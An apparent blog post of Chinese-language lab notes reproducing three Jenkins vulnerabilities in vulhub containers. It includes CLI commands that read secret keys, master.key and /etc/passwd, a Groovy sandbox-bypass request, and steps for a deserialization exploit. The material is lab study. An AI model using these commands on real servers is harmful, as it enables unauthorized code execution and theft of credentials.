java组件漏洞——Jenkins

Jenkins远程代码执行漏洞,Jenkins 是一款流行的开源自动化服务器

Jenkins 2.153 及更早版本、LTS 2.138.3 及更早版本使用的 Stapler Web 框架存在代码执行漏洞。stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java攻击者可以通过访问精心构造的 URL 来调用 Java 对象上的某些方法,而这些 URL 原本并非设计用于以这种方式调用。

通过此漏洞,可以发现多种攻击链。其中最严重的一种允许未经身份验证的用户绕过 Groovy 沙箱执行任意命令:Jenkins 在沙箱中执行 Groovy 脚本之前,会先检查语法错误。此检查过程发生在沙箱之外,因此攻击者可以利用元编程在此验证步骤中执行任意命令。

参考:

CVE-2024-23897(Jenkins 通过 CLI 任意读取文件漏洞)

需要下载一个jar包https://github.com/P4x1s/CVE-2024-23897

读取文件/proc/self/environ以获取 Jenkins 基本目录JENKINS_HOME=/var/jenkins_home

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"

然后可以使用它来检索敏感文件,例如secrets.keymaster.key匿名检索,只能通过命令行错误读取文件的第一行):

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key"

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key"

由于启用了“允许匿名读取访问”,您还可以读取文件的全部内容:

java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"

CVE-2018-1000861(Jenkins远程代码执行漏洞)

进到vulhub里开启jenkins

可以通过发送以下请求来执行命令:

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
public x(){
"touch /tmp/success".execute()
}
}

CVE-2017-1000353(Jenkins远程代码执行漏洞)

先去vulhub里把他开起来,之后根据p牛的文档下载一个CVE-2017-1000353-1.1-SNAPSHOT-all.jar

注意:用于生成有效载荷的 Java 版本至关重要。建议使用 OpenJDK 8u292,因为其他 Java 版本可能无法生成可用的有效载荷。如果遇到问题,可以使用以下命令通过 Docker 生成有效载荷:

docker run --rm -v $(pwd):/tmp openjdk:8u292 bash -c "cd /tmp && java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success""

之后需要下载一个py脚本

https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py

使用 Python 3 执行它来发送有效载荷:

python exploit.py http://your-ip:8080 jenkins_poc.ser

要验证利用是否成功,请检查容器内是否存在已创建的文件

posted @ 2026-09-23 16:14  xiaohe666  阅读(3)  评论(0)    收藏  举报